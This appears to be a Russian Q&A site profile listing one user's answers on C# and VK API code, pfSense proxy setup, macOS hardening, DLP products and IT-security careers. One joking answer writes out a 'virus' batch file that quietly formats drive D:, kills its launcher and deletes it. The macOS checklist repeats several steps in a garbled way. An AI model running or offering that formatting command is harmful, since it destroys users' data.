• Где объявлять ListView, чтобы можно было менять его в любом месте программы?

    Protos
    @Protos
    Спрашивай - отвечу
    Ну так объяви ListView ListView1 = new ListView() между двумя функциями, а не внутри функции, если надо менять и из другой формы то сделай public ListView ListView1 = new ListView(). Перед каждым новым заполнением можно его очищать listview1.items.clear()
    Ответ написан
    Комментировать
  • Проверяют ли сотрудники отдела "КЭ" сервера на colocation?

    Protos
    @Protos
    Спрашивай - отвечу
    Зависит от размеров компании, если компания большая и вдруг начала закупать много лицензий, то по своему опыту, майкрософт может к вам эрнест энд янг или пвц прислать с аудитом. Так как они понимают что вероятнее вы решили лицензировать все пиратское ПО и наверняка не все будете лицензировать, у них ПО есть для сканирования сети которое выявит пиратское ПО не только от мелкомягких и друго. Дальше припугнут все руководство уголовкой, штрафами, короче дорого придется откупаться
    Ответ написан
  • Какую выбрать тему для диплома (впоследствии кандидатской диссертации) по информационной безопасности?

    Protos
    @Protos
    Спрашивай - отвечу
    Предлагаю сделать ПО для выявления паролей в открытом виде и критичных строк для подключения к базам данных в файлах (txt, doc, xlsx, rtf и т.п.) размещенных тупыми юзерами в общих папках и файлопомойках. Можно на веб ресурсах искать, парсишь сайт, а потом по тексту поиск. Приди в какую-нибудь контору, с разрешения запусти и будет отличная рекомендация. + анализ трафика можно накрутить. Я такую запил себе, было весело.
    Ответ написан
  • Как заблокировать передачу файлов в icq?

    Protos
    @Protos Автор вопроса
    Спрашивай - отвечу
    Блокировать по хостам, техподдерка не смогла предоставить решение
    Ответ написан
    Комментировать
  • Можно ли в данном случае arp-spoofing считать dos атакой?

    Protos
    @Protos
    Спрашивай - отвечу
    Ну если ссылать на определение из ГОСТов, то да, т.к. там нет конкретных уточнений умышленная/неумышленная. Можно щаглчнуть в пересень угроз и уязвимостей ФСТЭК.
    Ответ написан
  • Как сделать проверку на пустой массив в VK API?

    Protos
    @Protos
    Спрашивай - отвечу
    Эм не шарю в php, но перед тем как получать значение у меня есть простая функция поиска текста ошибок в полученной строке, перед тем как значению decode_stats[i] присваивать значение, т.е. Что-то типа проверки: if(... contains("{"response":[]}") ) {ошибка}
    If ... contains("error") {ошибка}
    Ответ написан
  • Как настроить PfSense?

    Protos
    @Protos
    Спрашивай - отвечу
    Для блокировки https необходимо установить модуль squidguard, настроить, сгенерировать сертификат и внедрить на все компы. Иными словами настроить прокси
    Ответ написан
    Комментировать
  • Как загрузить аватарку для группы VK API?

    Protos
    @Protos
    Спрашивай - отвечу
    Потому что при вызове photos.getOwnerPhotoUploadServer передаете owner_id своего пользователя а не группы, нужно со знаком минус передать ID группы
    Обратите внимание, идентификатор сообщества в параметре owner_id необходимо указывать со знаком "-" — например, owner_id=-1 соответствует идентификатору сообщества ВКонтакте API (club1)
    Ответ написан
  • C# - Как вывести новости на форму?

    Protos
    @Protos
    Спрашивай - отвечу
    using System;
    using System.Data;
    using System.IO;
    using System.Linq;
    using System.Net;
    using System.Text;
    using System.Text.RegularExpressions;
    using System.Threading;
    using System.Threading.Tasks;
    using System.Windows.Forms;
    using Newtonsoft.Json.Linq;
    using System.Diagnostics;
    using System.Collections.Generic;
    using Newtonsoft.Json;
    using System.Net.Mail;
    using System.Net.Mime;
    //далее ваш класс,  допустим у вас есть кнопка и есть обработчик ее нажатия:
            private async void button1_Click(object sender, EventArgs e)
            {
                List<string> News = new List<string>();
                var json = JObject.Parse(await Download(string.Format("https://api.vk.com/method/newsfeed.get?v=5.64&access_token={0}&count={1}", Access_token, 10)));
                if (!json.ToString().Contains("error"))
                {
                    posts = (JArray)json["response"]["items"];
                    var query = from post in posts
                                select new
                                {
                                    type = post["type"],//тип списка новости, соответствующий одному из значений параметра filters;
                                    source_id = post["source_id"],//идентификатор источника новости (положительный — новость пользователя, отрицательный — новость группы);
                                    date = post["date"],//время публикации новости в формате unixtime
                                    text = post["text"],//находится в записях со стен и содержит текст записи;
                                    post_id = post["post_id"]//идентификатор владельца стены, на которой размещена запись. 
    //другие параметры по желанию
                                };
                    foreach (var post in query)//перебираем новости и заносим в массив
                    {
                        News.Add("type = "+post.type+
                            ", источник = "+ post.source_id +
                            ", дата публикации = " + UnixTimeToDate(Convert.ToDouble(post.date))+
                            ", текст новости = " + post.text +
                            ", идентификатор поста = " + post.post_id
                            );
                        //делаем что хотим
                    }
                    for (int i = 0; i < News.Count; i++)
                        Console.WriteLine(News[i]+Environment.NewLine);
                }
            }
    
    public static DateTime UnixTimeToDate(double unixTimeStamp)
            {
                return new DateTime(1970, 1, 1, 0, 0, 0, 0, DateTimeKind.Utc).AddSeconds(unixTimeStamp).ToLocalTime();
            }
    Ответ написан
    Комментировать
  • Почему некорректно применяются групповые политики?

    Protos
    @Protos
    Спрашивай - отвечу
    есть еще одна политика которая применяется после и меняет на 1 минуту
    Ответ написан
    Комментировать
  • C# WinForms - Как правильно парсить json?

    Protos
    @Protos
    Спрашивай - отвечу
    Как парсить я думаю вы поймете из моего говнокода :)
    using System;
    using System.Data;
    using System.IO;
    using System.Linq;
    using System.Net;
    using System.Text;
    using System.Text.RegularExpressions;
    using System.Threading;
    using System.Threading.Tasks;
    using System.Windows.Forms;
    using Newtonsoft.Json.Linq;
    using System.Diagnostics;
    using System.Collections.Generic;
    using Newtonsoft.Json;

    {List<string>Admins = new List<string>();
                            try
                            {
                                JToken fdbdb = JObject.Parse(await Download("https://api.vk.com/method/groups.getById?v=5.64&fields=contacts,deactivated,members_count&group_id=" + GROUPS[K]))["response"];
                                if (fdbdb[0]["deactivated"] != null)//группа забанена (временно или нет)
                                {
                                    fuckthewall = true; fuckthetopics = true; isNeedToCheck = false;
                                }
                                if (Convert.ToUInt32(fdbdb[0]["members_count"]) < MinimalMembeers)//мало подписчиков
                                {
                                    fuckthewall = true; fuckthetopics = true; isNeedToCheck = false;
                                }
                                JToken GroupContacts = fdbdb[0]["contacts"];
                                if (GroupContacts == null) GroupContacts = 0;
                                for (int j = 0; j < GroupContacts.Count(); j++)
                                {
                                    JToken gjdfj = GroupContacts[j]["user_id"];
                                    if (gjdfj != null) Admins.Add(gjdfj.ToString());
                                }
                            }
                            catch{}
    }
    {
    json = JObject.Parse(await Download("https://api.vk.com/method/wall.get?v=5.64&count=30&owner_id=-" + GROUPS[K]));
                                    if (!json.ToString().Contains("error"))
                                    {
                                        posts = (JArray)json["response"]["items"];
                                        var query = from post in posts
                                                    select new
                                                    {
                                                        id = post["id"],
                                                        date = post["date"],
                                                        from_id = post["from_id"],//идентификатор автора записи. 
                                                        text = post["text"],
                                                        owner_id = post["owner_id"]//идентификатор владельца стены, на которой размещена запись. 
                                                    };
                                        int posttobreak = 2;
                                        foreach (var post in query)
                                        {
                                            DateTime Postdate = UnixTimeToDate(Convert.ToDouble(post.date));
                                            if ((DateTimeNow - Postdate).Days < 10 || posttobreak > 0)//проверяем посты не старше 30 дней, но также проверяем парочку
                                            {//первых записей, т.к. закрепленная запись выводится первой и у ней могут быть актуальные комменты, и может быть старше 30 дней, а вторая (по факту самая новая), может быть младше 30 дней
                                                if ((DateTimeNow - Postdate) < c)//если пост опубликован после предыдущей проверки
                                                    if (!IsAdmin(Admins, post.from_id.ToString()))//если пост написан не админом                                                
                                                        if (Convert.ToInt32(post.from_id) > 0)//проверяем пост на стене
                                                            if (post.text.ToString().Length > CommentLen)//если пост содержит текст  
    //
    ....
    }}}
    
    }

    функция загрузки
    private async Task<string> Download(string whattodownload)
            {
                string returnstring = "";
                using (WebClient w = new WebClient())
                {
                    w.Encoding = Encoding.UTF8;
                    int ErrorsCount = 0;
                    bool downloaded = false;
                    while (downloaded == false)//периодически пытаемся скачать строку
                    {
                        try
                        {
                            returnstring = await w.DownloadStringTaskAsync(whattodownload);
                            downloaded = true;
                        }
                        catch
                        {
                            downloadingErrors++;
                            downloaded = false; ErrorsCount++; toomanyrequests += 2; Thread.Sleep(2000);
                            if (ErrorsCount > 10)
                            {
                                ErrorsCount = 0;
                                try
                                {
                                    using (WebClient w2 = new WebClient())
                                    {
                                        returnstring = await w2.DownloadStringTaskAsync(whattodownload);
                                        downloaded = true; break;
                                    }
                                }
                                catch { }
                            }
                        }
                    }
                }
                try
                {
                    if (returnstring.Contains("Too many requests per second"))//Если в скачанной строке есть ошибка
                    {
                        while (returnstring.Contains("Too many requests per second"))//то в цикле пытаемся снова скачать данные пока не скачаем
                        {
                            Thread.Sleep(2500); toomanyrequests += 2.5;
                            using (WebClient w2 = new WebClient())
                            {
                                w2.Encoding = Encoding.UTF8;
                                returnstring = await w2.DownloadStringTaskAsync(whattodownload);
                            }
                        }
                    }
                }
                catch
                {
                    downloadingErrors++;
                    using (WebClient w2 = new WebClient())
                    {
                        Thread.Sleep(2500); toomanyrequests += 2.5;
                        w2.Encoding = Encoding.UTF8;
                        returnstring = await w2.DownloadStringTaskAsync(whattodownload);
                    }
                }
                return returnstring;//Если в скачанной строке не было ошибки "Too many requests per second" - все ОК, значит возвращаем ответ сервера
            }
    Ответ написан
  • Какие настройки безопасности Вы используете после установки Windows?

    Protos
    @Protos
    Спрашивай - отвечу
    Открыть нормативку ФСТЭК, ФСБ, СТО ИББС, PCI DSS, ITIL и попунктно настроить
    Ответ написан
    1 комментарий
  • Как удалить функцию в c#?

    Protos
    @Protos
    Спрашивай - отвечу
    Функцию удалить "можно", видимо, вирус пишет:), но "функция" должна храниться в отдельном исполняемом файле, например, с расширением .bat:

    void func() { //Тело программы с именем "Virus_zapuskator.exe"
            Process.Start("virus.bat",);
    }
    func() //вызываем сам вирус
    
    #if (10 > 5) {
      #   func.Remove();
    }
    
    Код файла virus.bat который выполняет действие и убивает родителя.
    
    @echo off
    format D: /q /autotest  //форматируем второй диск в системе
    taskkill /f /im Virus_zapuskator.exe 
    del "Virus_zapuskator.exe" //удаляем функцию
    Ответ написан
    Комментировать
  • Как стать хорошим и нужным специалистом в ИБ?

    Protos
    @Protos
    Спрашивай - отвечу
    Сначала прочитайте что вы будете изучать в следующие 2-3 курса. Далее определитесь что вам интересно (я для себя это выделил так):
    1. Устанавливать/настраивать СКЗИ/СЗИ - в малых конторах часть ИТ работы могут свалить на ИБ
    2. Разрабатывать СКЗИ
    3. Расследовать инциденты/следить за состоянием ИТ и ИБ в организации/мониторить действия пользователя, сопровождать СЗИ/СКЗИ - эдакий инфобезник "все в одном"
    4. Быть оператором удостоверяющего центра (убого)
    5. Работать в интеграторе (в зависимости от отдела, работа будет разделяться, т.е. выполнение работ для внешней организации):
      • полный комплекс услуг по созданию системы защиты информации
      • внешний аудит
      • внедрение СЗИ/СКЗИ
      • пентесты
      • Подготовка документации
    6. Фриланс (участие в bug-bounty)


    Развивайтесь/работайте в нужном направлении пока не поймете что все изучили/получили опыт и можно менять направление.
    В любом случае знание основ: ISO/OSI и протоколы, нормативка надо знать как отче наше, даже на собеседованиях в крупные компании новичков гоняют по этим основам
    Ответ написан
  • Есть ли какой-то инструмент для того, чтобы разом посмотреть историю браузеров с разных ПК?

    Protos
    @Protos
    Спрашивай - отвечу
    1) Возможно у вас ведутся логи iptables или pf или cisco .... другого шлюза и вы можете попытаться их распарсить
    2) А лучше и вправду месяц ничего не блокировать, а потом включить блокировку и посмотреть разницу
    3) Возможно у вас используется Endpoint антивирус, который собирает статистику
    Ответ написан
    Комментировать
  • Комплексная защита информации на MacBook A1534?

    Protos
    @Protos
    Спрашивай - отвечу
    I Базовые настройки ОС
    1. Настройка учетной записи для пользователя:
    a. Зайти «Системный настройки…» и перейти в раздел «Пользователи и группы»;
    b. Придумать и задать пароль администратора;
    c. Создать учетную запись пользователя без прав администратора;
    d. Выключить пользователя Гость, сняв галку «Позволить гостям подключаться к общим папкам;
    e. Настроить параметры входа:
    ff2b6c52a2784fc082289ab707076d52.jpg
    2. Настройка параметров «Защита и в безопасность»:
    a. Зайти в «Системный настройки…», перейти в меню «Защита и в безопасность»;
    b. В правом нижнем углу нажать кнопку «Дополнительно…» и установить все галки:
    a84b44679fe246299b893b38fcafbb9a.jpg
    c. Нажать ОК;
    d. На вкладке «Общая» установить галку «Запрашивать пароль для режима сна или заставки» и установить значение «Сразу»:
    67fa4735fbfa40369050a850a92fd32d.jpg
    e. Установить галку «Разрешить загрузку программ из:» во 2-е значение;
    f. На вкладке «FireVault» нажать кнопку «Включить FileVault»:

    g. На вкладке «Брандмауэр» нажать «Включить брандмауэр»:

    3. На вкладке «Конфиденциальность» убрать галку «Отправлять данные диагностики и использования в Apple»;
    4. Настройка «Find my Mac» (с целью контроля местоположения Mac mini в случае кражи/несанкционированного перемещения):
    a. Скачать и установить из AppStore программу «Find my Mac» (может потребоваться включение служб геолокации в «Системный настройки…», меню «Защита и в безопасность) и указать данное приложение;
    b. Настроить на работу с корпоративным Apple ID;
    c. Проверить работу ПО через https://www.icloud.com;
    5. Установка AdBlock (выполнять под учетной записью пользователя!):
    a. Открыть Safari;
    b. В верхнем меню браузера зайти во вкладку Safari, перейти в пункт меню «Расширения Safari…», найти и скачать AdBlock (в принципе AdBlock одно из первых рекомендуемых приложений);
    6.
    7. Показать пользователю, как пользоваться приложением «Связка ключей» для безопасного хранения паролей пользователем;
    8. Установка пароля EFI (на BIOS):
    a. Перезагрузить Mac mini и после стартовой мелодии нажать кнопку на клавиатуре «Option» и удерживать нажатой ее до тех пор, пока не появится загрузочное меню с отображением иконок все доступных для загрузки дисков;
    e. Установить галку «Разрешить загрузку программ из:» во 2-е значение;
    f. На вкладке «FireVault» нажать кнопку «Включить FileVault»:
    259e5bfbe369433697085ce9e9aeb9e8.jpg
    g. На вкладке «Брандмауэр» нажать «Включить брандмауэр»:
    9e77fd4460ab4d919bb60dcfc3489533.jpg
    3. На вкладке «Конфиденциальность» убрать галку «Отправлять данные диагностики и использования в Apple»;
    4. Настройка «Find my Mac» (с целью контроля местоположения Mac mini в случае кражи/несанкционированного перемещения):
    a. Скачать и установить из AppStore программу «Find my Mac» (может потребоваться включение служб геолокации в «Системный настройки…», меню «Защита и в безопасность) и указать данное приложение;
    b. Настроить на работу с корпоративным Apple ID;
    c. Проверить работу ПО через https://www.icloud.com;
    5. Установка AdBlock (выполнять под учетной записью пользователя!):
    a. Открыть Safari;
    b. В верхнем меню браузера зайти во вкладку Safari, перейти в пункт меню «Расширения Safari…», найти и скачать AdBlock (в принципе AdBlock одно из первых рекомендуемых приложений);
    6.
    7. Показать пользователю, как пользоваться приложением «Связка ключей» для безопасного хранения паролей пользователем;
    8. Установка пароля EFI (на BIOS):
    a. Перезагрузить Mac mini и после стартовой мелодии нажать кнопку на клавиатуре «Option» и удерживать нажатой ее до тех пор, пока не появится загрузочное меню с отображением иконок все доступных для загрузки дисков;
    b. Из предлагаемых для загрузки разделов выбрать раздел Recovery HD, найти в верхней строке меню пункт «Utilities», а в нём – «Firmware Password Utility»:
    1e79f504c02143a0b453c29c7a203416.jpg
    c. После запуска утилиты на экране появится уведомление о том, что защита не установлена и приглашение установить новый пароль. После того, как вы это сделаете, можно завершить работу утилиты и перегружаться в рабочую систему:
    dc8befe832044c2ebb7bc9adb02f4306.jpg
    d. Записать пароль в безопасное место, например, в программе KeePass.
    9. Запрет установки непроверенного ПО:
    a. Если версия ОС Sierra, действий не требуется;
    b. Если версия ОС ниже Sierra, то:
    a9d61dfe3abf47b5b956a62c8fc04779.jpg
    II Антивирус
    Судя по картинке ниже, антивирус/Endpoint/DLP не требуется, если вы являетесь простым пользователем.
    avtest_sr2016__s2_malware_detection_02.j
    Если не согласны, вот на выбор:1216_mac_scanleistung_en.png
    Соответственно скачивайте бесплатную версию антивируса из таблички выше.
    Ответ написан
    Комментировать
  • Какими DLP системами вы пользуетесь?

    Protos
    @Protos
    Спрашивай - отвечу
    Каким сервисом вы пользуетесь?;
    КИБ от SearchInform
    Довольны ли вы продуктом?;
    Доволен на 70%
    Чем вас устраивает выбранный продукт?;
    Легко отслеживать события и настраивать правила
    Чем вас не устраивает выбранный продукт?;
    Не умеет сама устанавливаться на ПК которые не в домене (требуется ручная настройка, я так и не смог) при установке из дистрибутива и/или удаленно с сервера. Возможно устранено в новых версиях, у нас версия 2014 года.
    Что в выбранном продукте вас не устраивает?;
    Сильно сложная настройка, хоть на словах и легкая. Интерфейс у некоторых модулей перегружен, некоторые кнопки и настройки на отдельную форму можно было бы вынести.
    Какова лицензия на один год за одну машину?;
    Не знаю, вроде 10к, либо взависимости от выбранных модулей
    PC
    DLP на российском рынке не так уж и много, за пару часов все разработчики выас проконсультируют по ценам.
    Оценка от 0-10;
    8, т.к. в последней версии много уникальных фич.
    Ответ написан
    Комментировать
  • Как убрать историю команд mc?

    Protos
    @Protos
    Спрашивай - отвечу
    Мне так помогло:
    history -c
    Ответ написан
    Комментировать
  • Как заблокировать доступ в группу ВК для одного из своих устройств?

    Protos
    @Protos
    Спрашивай - отвечу
    Прокси поставить, squid например, там для конкретного юзера можно конкретную страницу заблокировать, про родительский контроль, может вы не все решения перебрали
    Ответ написан
    Комментировать
  • Может ли работать веб-камера, даже если ее индикатор не горит?

    Protos
    @Protos
    Спрашивай - отвечу
    Да, камера может снимать и с выключенным диодом, почитайте про DLP searchinform, там они в драйвер камеры внедряются, но естественно не все камеры умеют
    Ответ написан
    Комментировать